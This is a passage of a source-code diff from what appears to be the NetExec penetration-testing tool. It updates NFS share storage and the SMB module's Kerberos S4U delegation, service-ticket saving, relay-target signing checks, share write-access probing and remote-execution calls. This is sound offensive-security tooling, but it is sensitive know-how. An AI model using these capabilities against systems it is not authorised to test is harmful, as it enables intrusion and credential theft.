self.logger.display(f"Supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)}) ({root_escape_str})")
@@ -269,6 +271,7 @@ class nfs(connection):
read_perm, write_perm, exec_perm = self.get_permissions(file_handle)
self.mount.umnt(self.auth)
self.db.add_share(self.host, (read_perm, write_perm, exec_perm), (convert_size(used_space), "/", convert_size(total_space)), share, network)
self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space) + '/' + convert_size(total_space):<16} {share:<30} {', '.join(network) if network else 'No network':<15}")
except Exception as e:
self.logger.fail(f"Failed to list share: {share} - {e}")
@@ -431,6 +434,10 @@ class nfs(connection):
self.logger.fail(f"{local_file_path} does not exist.")
return
# Do a bit of smart handling for the remote file path
if remote_file_path.endswith("/"):
file_name = os.path.basename(local_file_path)
self.logger.display(f"Uploading from {local_file_path} to {remote_file_path}")
try:
# Connect to NFS
+115 -5
View File
@@ -1,8 +1,9 @@
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String
from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, UniqueConstraint, String, func, select
from sqlalchemy.dialects.sqlite import Insert # used for upsert
from sqlalchemy.orm import declarative_base
from nxc.database import BaseDB
from nxc.logger import nxc_logger
Base = declarative_base()
@@ -32,9 +33,12 @@ class database(BaseDB):
ip = Column(String)
hostname = Column(String)
port = Column(Integer)
nfs_version = Column(String)
root_escape = Column(Boolean)
__table_args__ = (
PrimaryKeyConstraint("id"),
UniqueConstraint("ip"),
)
class LoggedInRelation(Base):
@@ -52,12 +56,17 @@ class database(BaseDB):
class Share(Base):
__tablename__ = "shares"
id = Column(Integer)
lir_id = Column(Integer)
data = Column(String)
host = Column(String)
read_perm = Column(Boolean)
write_perm = Column(Boolean)
exec_perm = Column(Boolean)
storage = Column(String)
share = Column(String)
access = Column(String)
__table_args__ = (
PrimaryKeyConstraint("id"),
ForeignKeyConstraint(["lir_id"], ["loggedin_relations.id"]),
UniqueConstraint("host", "share"),
)
@staticmethod
@@ -69,3 +78,104 @@ class database(BaseDB):
self.HostsTable = self.reflect_table(self.Host)
self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation)
self.SharesTable = self.reflect_table(self.Share)
def get_hosts(self, filter_term=None, domain=None):
"""Return hosts from the database."""
q = select(self.HostsTable)
results = self.db_execute(q).all()
nxc_logger.debug(f"NFS hosts() - results: {results}")
return results
def add_host(self, ip, hostname, port, nfs_version, root_escape):
"""Check if this host has already been added to the database, if not, add it in."""
hosts = []
updated_ids = []
q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip)
results = self.db_execute(q).all()
# create new host
if not results:
new_host = {
"ip": ip,
"hostname": hostname,
"port": port,
"nfs_version": str(nfs_version),
"root_escape": root_escape
}
hosts = [new_host]
# update existing hosts data
else:
for host in results:
host_data = host._asdict()
# only update column if it is being passed in
if ip is not None:
host_data["ip"] = ip
if hostname is not None:
host_data["hostname"] = hostname
if port is not None:
host_data["port"] = port
if nfs_version is not None:
host_data["nfs_version"] = str(nfs_version)
if root_escape is not None:
host_data["root_escape"] = root_escape
# only add host to be updated if it has changed
if host_data not in hosts:
hosts.append(host_data)
updated_ids.append(host_data["id"])
nxc_logger.debug(f"Update Hosts: {hosts}")
q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id)
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id)
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(index_elements=["ip"], set_=update_columns)
self.db_execute(q, hosts) # .scalar()
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
if updated_ids:
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
return updated_ids
def add_share(self, host, permission, storage, share, access):
"""Check if this share is already in the DB, if not add it."""
read_perm, write_perm, exec_perm = permission
used, _, total = storage
storage_str = f"{used} / {total}"
access_str = ", ".join(access) if access else ""
new_share = {
"host": host,
"read_perm": read_perm,
"write_perm": write_perm,
"exec_perm": exec_perm,
"storage": storage_str,
"share": share,
"access": access_str,
}
self.db_execute(
Insert(self.SharesTable).on_conflict_do_nothing(),
new_share,
)
def get_shares(self, filter_term=None):
"""Return shares from the database, optionally filtered by host or share path."""
if self.is_share_valid(filter_term):
q = select(self.SharesTable).filter(self.SharesTable.c.id == filter_term)
elif filter_term:
like_term = func.lower(f"%{filter_term}%")
q = select(self.SharesTable).filter(
self.SharesTable.c.host.like(like_term) | self.SharesTable.c.share.like(like_term)
)
else:
q = select(self.SharesTable)
return self.db_execute(q).all()
def is_share_valid(self, share_id):
"""Check if this share ID is valid."""
q = select(self.SharesTable).filter(self.SharesTable.c.id == share_id)
results = self.db_execute(q).all()
nxc_logger.debug(f"is_share_valid(shareID={share_id}) => {len(results) > 0}")
return len(results) > 0
+140 -1
View File
@@ -1,4 +1,4 @@
from nxc.nxcdb import DatabaseNavigator, print_help
from nxc.nxcdb import DatabaseNavigator, print_help, print_table, write_csv
class navigator(DatabaseNavigator):
@@ -13,3 +13,142 @@ class navigator(DatabaseNavigator):
YOU CANNOT UNDO THIS COMMAND
"""
print_help(help_string)
def do_hosts(self, line):
filter_term = line.strip()
if filter_term == "":
hosts = self.db.get_hosts()
self.display_hosts(hosts)
else:
hosts = self.db.get_hosts(filter_term=filter_term)
if len(hosts) > 1:
self.display_hosts(hosts)
elif len(hosts) == 1:
data = [["HostID", "IP", "Hostname", "Port", "Supported version", "Root escape"]]
host_id_list = []
print(hosts)
for host in hosts:
host_id_list.append(host[0])
data.append([host[0], host[1], host[2], host[3], host[4], host[5]])
print_table(data, title="Host(s)")
def display_hosts(self, hosts):
data = [["HostID", "IP", "Hostname", "Port", "Supported version", "Root escape"]]
for host in hosts:
host_id = host[0]
ip = host[1]
hostname = host[2]
port = host[3]
supported_version = host[4]
root_escape = host[5]
data.append([host_id, ip, hostname, port, supported_version, root_escape])
print_table(data, title="Hosts")
def display_shares(self, shares):
"""
shares: list of rows (tuples) -> expects columns:
(id, host, read_perm, write_perm, exec_perm, storage, share, access)
"""
data = [["ID", "Host", "R", "W", "X", "Storage", "Share", "Access"]]
for row in shares:
(
sid, host, r, w, x,
storage_str, share_path, access_str
) = row
data.append([
sid, host,
"True" if r else "False",
"True" if w else "False",
"True" if x else "False",
storage_str,
share_path,
access_str,
])
print_table(data, title="Shares")
def do_shares(self, line):
filter_term = line.strip() or None
shares = self.db.get_shares(filter_term=filter_term)
if shares:
self.display_shares(shares)
else:
print("No shares found.")
def help_shares(self):
help_string = """
shares [host_filter]
Lists all shares. Optionally filters by host substring.
Columns:
ID, Host, Read (True/False), Write, Execute, Storage ("used / total"), Share path, Access list
"""
print_help(help_string)
def do_export(self, line):
if not line:
print("[-] not enough arguments")
return
line = line.split()
command = line[0].lower()
if command == "hosts":
if len(line) < 2:
print("[-] invalid arguments, export hosts <filename>")
return
filename = line[2]
hosts = self.db.get_hosts()
csv_header = ("id", "ip", "hostname", "port", "version", "root_escape")
write_csv(filename, csv_header, hosts)
print("[+] NFS hosts exported")
elif command == "shares":
if len(line) < 3:
print("[-] invalid arguments, export shares <simple|detailed> <filename>")
return
filename = line[2]
mode = line[1].lower()
shares = self.db.get_shares()
if mode == "simple":
csv_header = ("id", "host", "read", "write", "exec", "storage", "share", "access")
write_csv(filename, csv_header, shares)
print("[+] NFS shares exported")
elif mode == "detailed":
csv_header = ("id", "host", "version", "read", "write", "exec", "storage", "share", "access")
# hosts columns: (id, ip, hostname, port, nfs_version, root_escape)
version_by_ip = {host[1]: host[4] for host in self.db.get_hosts()}
formatted = []
for row in shares:
entry = (
row[0], # id
row[1], # host
version_by_ip.get(row[1], ""), # nfs_version
row[2], # read
row[3], # write
row[4], # exec
row[5], # storage
row[6], # share
row[7], # access
)
formatted.append(entry)
write_csv(filename, csv_header, formatted)
print("[+] NFS shares exported")
else:
print(f"[-] No such export option: {line[1]}")
else:
print(f"[-] Export command '{command}' is not supported for NFS. Supported: hosts, shares")
def help_export(self):
help_string = """
export hosts <filename>
exports: id, ip, hostname, port, version, root_escape
export shares <simple|detailed> <filename>
simple - exports: id, host, read, write, exec, storage, share, access
detailed - exports: id, host, version, read, write, exec, storage, share, access
"""
print_help(help_string)
+247 -123
View File
@@ -9,6 +9,7 @@ from textwrap import dedent
from impacket.smbconnection import SMBConnection, SessionError
from impacket.smb import SMB_DIALECT
from impacket.smb3structs import SMB2_DIALECT_30, SMB2_NEGOTIATE_SIGNING_REQUIRED
from impacket.examples.secretsdump import (
RemoteOperations,
SAMHashes,
@@ -21,21 +22,36 @@ from impacket.examples.regsecrets import (
LSASecrets as RegSecretsLSASecrets
)
from impacket.nmb import NetBIOSError, NetBIOSTimeout
from impacket.dcerpc.v5 import transport, lsat, lsad, scmr, rrp, srvs, wkst
from impacket.dcerpc.v5 import lsat, lsad, scmr, rrp, srvs, wkst
from impacket.dcerpc.v5.srvs import STYPE_DISKTREE, STYPE_MASK
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.transport import DCERPCTransportFactory, SMBTransport
from impacket.dcerpc.v5.transport import DCERPCTransportFactory
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP
from impacket.dcerpc.v5.samr import SID_NAME_USE
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import SessionKeyDecryptionError, getKerberosTGT
from impacket.krb5.kerberosv5 import SessionKeyDecryptionError, getKerberosTGT, getKerberosTGS
from impacket.krb5.types import KerberosException, Principal
from impacket.krb5 import constants
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE, SMB2_0_IOCTL_IS_FSCTL
from impacket.smb3structs import (
FILE_ADD_FILE,
FILE_ADD_SUBDIRECTORY,
FILE_DIRECTORY_FILE,
FILE_OPEN,
FILE_SHARE_DELETE,
FILE_SHARE_READ,
FILE_SHARE_WRITE,
FILE_SYNCHRONOUS_IO_NONALERT,
GENERIC_WRITE,
SMB2_0_IOCTL_IS_FSCTL,
WRITE_DAC,
WRITE_OWNER,
)
from impacket.dcerpc.v5 import tsts as TSTS
from nxc.config import process_secret, host_info_colors, check_guest_account
@@ -56,6 +72,7 @@ from nxc.protocols.smb.samrfunc import SamrFunc
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
from nxc.helpers.logger import highlight
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.rpc import NXCRPCConnection
from nxc.helpers.powershell import create_ps_command
from nxc.helpers.misc import detect_if_ip
from nxc.protocols.ldap.resolution import LDAPResolution
@@ -130,6 +147,8 @@ class smb(connection):
self.protocol = "SMB"
self.is_guest = None
self.isdc = None
self.tgt = None
self.tgs = None
connection.__init__(self, args, db, host)
@@ -265,7 +284,7 @@ class smb(connection):
self.logger.extra["hostname"] = self.hostname
try:
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"]
self.signing = self._is_signing_required()
except Exception as e:
self.logger.debug(e)
@@ -372,19 +391,28 @@ class smb(connection):
if self.args.delegate:
kerb_pass = ""
self.username = self.args.delegate
serverName = Principal(self.args.delegate_spn if self.args.delegate_spn else f"cifs/{self.remoteName}", type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, sk = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy)
serverName = Principal(self.args.spn if self.args.spn else f"cifs/{self.remoteName}", type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, sk = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy, u2u=self.args.u2u)
self.logger.debug(f"TGS obtained for {self.args.delegate} for {serverName}")
spn = f"cifs/{self.remoteName}"
if self.args.delegate_spn:
if self.args.spn:
self.logger.debug(f"Swapping SPN to {spn} for TGS")
tgs = kerberos_altservice(tgs, spn)
if self.args.generate_st:
self.save_st(tgs, sk, spn if self.args.delegate_spn else None)
self.save_st(tgs, sk, spn if self.args.spn else None)
self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
if self.args.generate_st:
try:
creds = self.conn.getCredentials()
self.tgt, self.tgs = creds[6], creds[7]
except Exception as e:
self.logger.fail(f"Could not retrieve credentials for --generate-st: {e}")
return False
if "Unix" not in self.server_os:
self.check_if_admin()
@@ -395,10 +423,14 @@ class smb(connection):
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
if self.args.delegate:
used_ccache = f" through S4U with {username}"
u2u_str = "+U2U" if self.args.u2u else ""
auth_user = username if username else "ccache"
used_ccache = f" through S4U{u2u_str} with {auth_user}"
if self.args.delegate_spn:
used_ccache = f" through S4U with {username} (w/ SPN {self.args.delegate_spn})"
if self.args.spn:
u2u_str = "+U2U" if self.args.u2u else ""
auth_user = username if username else "ccache"
used_ccache = f" through S4U{u2u_str} with {auth_user} (w/ SPN {self.args.spn})"
out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
self.logger.success(out)
@@ -571,6 +603,25 @@ class smb(connection):
self.logger.fail("Broken Pipe Error while attempting to login")
return False
def _is_signing_required(self):
"""Determine whether the remote server REQUIRES SMB signing.
For SMB 3.0+ we read the real negotiated ``ServerSecurityMode`` rather
than impacket's ``RequireSigning`` flag. impacket force-sets
``RequireSigning`` to True for any SMB 3.1.1 negotiation regardless of
the server's actual policy (the 3.1.1 session setup is always signed).
Relying on that flag produced false negatives for relay-target
discovery: 3.1.1 hosts that merely *enable* (but do not *require*)
signing were reported as ``signing:True`` and silently dropped from
``--gen-relay-list`` output.
For SMBv1 and SMB 2.0.2/2.1, ``isSigningRequired()`` is accurate: it
reads ``RequireSigning``, which impacket only force-sets at 3.1.1.
"""
if not self.smbv1 and self.conn._SMBConnection._Connection["Dialect"] >= SMB2_DIALECT_30:
return bool(self.conn._SMBConnection._Connection["ServerSecurityMode"] & SMB2_NEGOTIATE_SIGNING_REQUIRED)
return self.conn.isSigningRequired()
def create_smbv1_conn(self, check=False):
self.logger.info(f"Creating SMBv1 connection to {self.host}")
try:
@@ -593,12 +644,15 @@ class smb(connection):
self.logger.debug(f"Timeout creating SMBv1 connection to {self.host}")
else:
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
self.smbv1 = False
return False
except NetBIOSError:
self.logger.info(f"SMBv1 disabled on {self.host}")
self.smbv1 = False
return False
except (Exception, NetBIOSTimeout) as e:
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
self.smbv1 = False
return False
return True
@@ -619,6 +673,7 @@ class smb(connection):
self.logger.debug(f"Timeout creating SMBv3 connection to {self.host}")
else:
self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}")
self.smbv3 = False
return False
return True
@@ -652,27 +707,23 @@ class smb(connection):
if self.args.no_admin_check:
return
self.logger.debug(f"Checking if user is admin on {self.host}")
rpctransport = SMBTransport(self.conn.getRemoteHost(), 445, r"\svcctl", smb_connection=self.conn)
dce = rpctransport.get_dce_rpc()
try:
dce.connect()
dce = NXCRPCConnection(self).connect(r"\svcctl", scmr.MSRPC_UUID_SCMR)
except Exception:
self.admin_privs = False
else:
with contextlib.suppress(Exception):
dce.bind(scmr.MSRPC_UUID_SCMR)
try:
# 0xF003F - SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
scmrobj = scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F)
scmr.hREnumServicesStatusW(dce, scmrobj["lpScHandle"])
self.logger.debug(f"User is admin on {self.host}!")
self.admin_privs = True
except scmr.DCERPCException:
self.admin_privs = False
except Exception as e:
self.logger.fail(f"Error checking if user is admin on {self.host}: {e}")
self.admin_privs = False
return
try:
# 0xF003F - SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
scmrobj = scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F)
scmr.hREnumServicesStatusW(dce, scmrobj["lpScHandle"])
self.logger.debug(f"User is admin on {self.host}!")
self.admin_privs = True
except scmr.DCERPCException:
self.admin_privs = False
except Exception as e:
self.logger.fail(f"Error checking if user is admin on {self.host}: {e}")
self.admin_privs = False
def gen_relay_list(self):
if self.server_os.lower().find("windows") != -1 and self.signing is False:
@@ -730,6 +781,68 @@ class smb(connection):
except Exception as e:
self.logger.fail(f"Failed to get TGT: {e}")
def generate_st(self):
# When --delegate is used, the S4U Service Ticket is already obtained and saved during kerberos_login
if self.args.delegate:
return
spn = f"cifs/{self.remoteName}" if not self.args.spn else self.args.spn
self.logger.info(f"Attempting to get ST for SPN {spn} as {self.username}@{self.domain}")
try:
tgt = cipher = tgt_session_key = None
if self.tgt is not None:
tgt = self.tgt["KDC_REP"]
cipher = self.tgt["cipher"]
tgt_session_key = self.tgt["sessionKey"]
self.logger.debug("Reusing TGT obtained during SMB login")
elif self.use_kcache:
try:
_, _, cached_tgt, _ = CCache.parseFile(self.domain, self.username)
if cached_tgt is not None:
tgt = cached_tgt["KDC_REP"]
cipher = cached_tgt["cipher"]
tgt_session_key = cached_tgt["sessionKey"]
self.logger.debug("Using TGT from ccache")
except Exception as e:
self.logger.debug(f"Could not load TGT from ccache: {e}")
if tgt is None:
user_name = Principal(self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, _, tgt_session_key = getKerberosTGT(
clientName=user_name,
password=self.password,
domain=self.domain.upper(),
lmhash=binascii.unhexlify(self.lmhash) if self.lmhash else "",
nthash=binascii.unhexlify(self.nthash) if self.nthash else "",
aesKey=self.aesKey,
kdcHost=self.kdcHost,
)
self.logger.debug(f"TGT obtained for {self.username}@{self.domain}")
server_name = Principal(spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, _, tgs_session_key, _ = getKerberosTGS(
server_name,
self.domain.upper(),
self.kdcHost,
tgt,
cipher,
tgt_session_key,
)
self.logger.debug(f"ST successfully obtained for SPN {spn}")
ccache = CCache()
ccache.fromTGS(tgs, tgs_session_key, tgs_session_key)
st_file = f"{self.args.generate_st.removesuffix('.ccache')}.ccache"
ccache.saveFile(st_file)
self.logger.success(f"ST saved to: {st_file}")
self.logger.success(f"Run the following command to use the ST: export KRB5CCNAME={st_file}")
except Exception as e:
self.logger.fail(f"Failed to get ST: {e}")
def check_dc_ports(self, timeout=1):
"""Check multiple DC-specific ports in case first check fails"""
import socket
@@ -905,19 +1018,10 @@ class smb(connection):
elif method == "atexec":
try:
exec_method = TSCH_EXEC(
self.host if not self.kerberos else self.hostname + "." + self.domain,
self.smb_share_name,
self.username,
self.password,
self.domain,
self.kerberos,
self.aesKey,
self.host,
self.kdcHost,
self.hash,
self.logger,
self.args.get_output_tries,
self.args.share
connection=self,
logger=self.logger,
tries=self.args.get_output_tries,
share=self.args.share,
)
self.logger.info("Executed command via atexec")
break
@@ -928,21 +1032,10 @@ class smb(connection):
elif method == "smbexec":
try:
exec_method = SMBEXEC(
self.host if not self.kerberos else self.hostname + "." + self.domain,
self.smb_share_name,
self.conn,
self.username,
self.password,
self.domain,
self.kerberos,
self.aesKey,
self.host,
self.kdcHost,
self.hash,
self.args.share,
self.port,
self.logger,
self.args.get_output_tries
connection=self,
share=self.args.share,
logger=self.logger,
tries=self.args.get_output_tries,
)
self.logger.info("Executed command via smbexec")
break
@@ -1283,12 +1376,10 @@ class smb(connection):
self.logger.info(f"No active session found for specified user(s) using the Remote Registry service on {self.hostname}.")
# Bind to the Remote Registry Pipe
rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\winreg", smb_connection=self.conn)
rpc = NXCRPCConnection(self)
for binding_attempts in range(2, 0, -1):
dce = rpctransport.get_dce_rpc()
try:
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
dce = rpc.connect(r"\winreg", rrp.MSRPC_UUID_RRP)
break
except SessionError as e:
self.logger.debug(f"Could not bind to the Remote Registry on {self.hostname}: {e}")
@@ -1342,11 +1433,8 @@ class smb(connection):
return
# Bind to the LSARPC Pipe for SID resolution
rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\lsarpc", smb_connection=self.conn)
dce = rpctransport.get_dce_rpc()
try:
dce.connect()
dce.bind(lsat.MSRPC_UUID_LSAT)
dce = NXCRPCConnection(self).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT)
except Exception as e:
self.logger.debug(f"Failed to connect to LSARPC for SID resolution on {self.hostname}: {e}")
output(sessions)
@@ -1390,10 +1478,17 @@ class smb(connection):
output(sessions)
def shares(self):
temp_dir = ntpath.normpath("\\" + gen_random_string())
temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt")
permissions = []
write_check = bool(not self.args.no_write_check)
# ACL-based write check masks: each open attempt against the share root
# validates one specific permission. WRITE_DAC/WRITE_OWNER cover paths
# where the user can grant themselves write via ACL modification.
write_checks = [
(GENERIC_WRITE, "WRITE"),
(FILE_ADD_FILE, "WRITE"),
(FILE_ADD_SUBDIRECTORY, "WRITE (SUBDIR)"),
(WRITE_DAC, "WRITE (ACL)"),
(WRITE_OWNER, "WRITE (ACL)"),
]
try:
self.logger.debug(f"domain: {self.domain}")
@@ -1427,19 +1522,24 @@ class smb(connection):
return permissions
for share in shares:
share_name = share["shi1_netname"][:-1]
share_name = share["shi1_netname"].rstrip("\x00")
# Skip excluded shares
if self.args.exclude_shares and share_name in self.args.exclude_shares:
self.logger.debug(f"Skipping excluded share: {share_name}")
continue
share_remark = share["shi1_remark"][:-1]
share_info = {"name": share_name, "remark": share_remark, "access": []}
# Mask off STYPE_SPECIAL/STYPE_TEMPORARY flags; only the base type
# (DISKTREE/PRINTQ/DEVICE/IPC) determines whether write checks apply.
share_remark = share["shi1_remark"].rstrip("\x00")
share_info = {
"name": share_name,
"remark": share_remark,
"type": share["shi1_type"] & STYPE_MASK,
"access": [],
}
read = False
write = False
write_dir = False
write_file = False
try:
self.conn.listPath(share_name, "*")
read = True
@@ -1448,13 +1548,28 @@ class smb(connection):
error = get_error_string(e)
self.logger.debug(f"Error checking READ access on share {share_name}: {error}")
except (NetBIOSError, UnicodeEncodeError) as e:
write_check = False
share_info["access"].append("UNKNOWN (try '--no-smbv1')")
error = get_error_string(e)
self.logger.debug(f"Error checking READ access on share {share_name}: {error}. This exception always caused by special character in share name with SMBv1")
self.logger.info(f"Skipping WRITE permission check on share {share_name}")
permissions.append(share_info)
continue
if write_check:
if share_info["type"] != STYPE_DISKTREE:
# Non-filesystem share (IPC, print queue, etc.) — write checks produce
# false positives due to non-file semantics; skip and report access as-is
self.logger.debug(f"Skipping write-access check on non-filesystem share {share_name} (type=0x{share_info['type']:02x})")
permissions.append(share_info)
continue
if self.args.file_write_check:
# Empirical write check — creates and deletes a temp file/dir.
# Use --file-write-check to enable. Catches post-ACL blocking (AV/EDR/quota)
# but leaves a brief artifact window if delete permissions are missing.
temp_dir = ntpath.normpath("\\" + gen_random_string())
temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt")
write_dir = False
write_file = False
try:
self.conn.createDirectory(share_name, temp_dir)
write_dir = True
@@ -1463,9 +1578,7 @@ class smb(connection):
self.conn.deleteDirectory(share_name, temp_dir)
except SessionError as e:
error = get_error_string(e)
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
pass
else:
if error != "STATUS_OBJECT_NAME_NOT_FOUND":
self.logger.debug(f"Error DELETING created temp dir {temp_dir} on share {share_name}: {error}")
except SessionError as e:
error = get_error_string(e)
@@ -1481,9 +1594,7 @@ class smb(connection):
self.conn.deleteFile(share_name, temp_file)
except SessionError as e:
error = get_error_string(e)
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
pass
else:
if error != "STATUS_OBJECT_NAME_NOT_FOUND":
self.logger.debug(f"Error DELETING created temp file {temp_file} on share {share_name}")
except SessionError as e:
error = get_error_string(e)
@@ -1493,6 +1604,50 @@ class smb(connection):
if write_dir or write_file:
write = True
share_info["access"].append("WRITE")
else:
# ACL-based write check (default) — opens share root with FILE_OPEN +
# various access masks. No files created on disk. May not detect writes
# blocked post-ACL by AV/EDR or disk quota. Detects WRITE_DAC/WRITE_OWNER
# escalation paths that the empirical check misses.
seen_labels = set()
write_labels = []
for mask, label in write_checks:
if label in seen_labels:
continue
tid = None
try:
tid = self.conn.connectTree(share_name)
fid = self.conn.openFile(
tid,
"\\",
desiredAccess=mask,
shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
creationDisposition=FILE_OPEN,
fileAttributes=0,
creationOption=FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,
)
self.conn.closeFile(tid, fid)
write_labels.append(label)
seen_labels.add(label)
self.logger.debug(f"{label} confirmed on {share_name} (mask=0x{mask:08x})")
except SessionError as e:
error = get_error_string(e)
self.logger.debug(f"No {label} on {share_name}: {error}")
except Exception as e:
self.logger.debug(f"{label} check error on {share_name}: {e}")
finally:
if tid:
with contextlib.suppress(Exception):
self.conn.disconnectTree(tid)
# If direct WRITE is achievable, suppress more granular labels
if "WRITE" in write_labels:
write_labels = ["WRITE"]
for lbl in write_labels:
share_info["access"].append(lbl)
if not write:
write = True
permissions.append(share_info)
@@ -1508,8 +1663,8 @@ class smb(connection):
self.logger.display("[REMOVED] Use the --shares read,write options instead.")
self.logger.display("Enumerated shares")
self.logger.highlight(f"{'Share':<15} {'Permissions':<15} {'Remark'}")
self.logger.highlight(f"{'-----':<15} {'-----------':<15} {'------'}")
self.logger.highlight(f"{'Share':<15} {'Permissions':<22} {'Remark'}")
self.logger.highlight(f"{'-----':<15} {'-----------':<22} {'------'}")
for share in permissions:
name = share["name"]
@@ -1517,7 +1672,7 @@ class smb(connection):
perms = ",".join(share["access"])
if self.args.shares and self.args.shares.lower() not in perms.lower():
continue
self.logger.highlight(f"{name:<15} {perms:<15} {remark}")
self.logger.highlight(f"{name:<15} {perms:<22} {remark}")
return permissions
def dir(self):
@@ -1664,10 +1819,7 @@ class smb(connection):
def disks(self):
try:
rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\srvsvc", smb_connection=self.conn)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
dce = NXCRPCConnection(self).connect(r"\srvsvc", srvs.MSRPC_UUID_SRVS)
response = srvs.hNetrServerDiskEnum(dce, 0)
# Process the response
@@ -1723,10 +1875,7 @@ class smb(connection):
logged_on = set()
try:
rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\wkssvc", smb_connection=self.conn)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(wkst.MSRPC_UUID_WKST)
dce = NXCRPCConnection(self).connect(r"\wkssvc", wkst.MSRPC_UUID_WKST)
response = wkst.hNetrWkstaUserEnum(dce, 1)
for user in response["UserInfo"]["WkstaUserInfo"]["Level1"]["Buffer"]:
@@ -1839,40 +1988,12 @@ class smb(connection):
if not max_rid:
max_rid = int(self.args.rid_brute)
KNOWN_PROTOCOLS = {
135: {"bindstr": rf"ncacn_ip_tcp:{self.remoteName}"},
139: {"bindstr": rf"ncacn_np:{self.remoteName}[\pipe\lsarpc]"},
445: {"bindstr": rf"ncacn_np:{self.remoteName}[\pipe\lsarpc]"},
}
try:
string_binding = KNOWN_PROTOCOLS[self.port]["bindstr"]
self.logger.debug(f"StringBinding {string_binding}")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.remoteName)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
if self.kerberos:
rpc_transport.set_kerberos(self.kerberos, self.kdcHost)
dce = rpc_transport.get_dce_rpc()
if self.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
use_tcp = self.port == 135
dce = NXCRPCConnection(self, force_tcp=use_tcp).connect(r"\lsarpc", lsat.MSRPC_UUID_LSAT)
except Exception as e:
self.logger.fail(f"Error creating DCERPC connection: {e}")
return entries
# Want encryption? Uncomment next line
# But make simultaneous variable <= 100
# Want fragmentation? Uncomment next line
dce.bind(lsat.MSRPC_UUID_LSAT)
try:
resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
except lsad.DCERPCSessionError as e:
@@ -2276,6 +2397,9 @@ class smb(connection):
if self.output_file:
self.output_file.close()
with open(self.output_file_template.format(output_folder="dpapi")) as f:
if sum(1 for _ in f) == 0:
self.logger.fail("No dpapi loot retrieved")
@requires_admin
def list_snapshots(self):
+37 -68
View File
@@ -1,36 +1,29 @@
import os
import random
from textwrap import dedent
from impacket.dcerpc.v5 import tsch, transport
from impacket.dcerpc.v5.dtypes import NULL
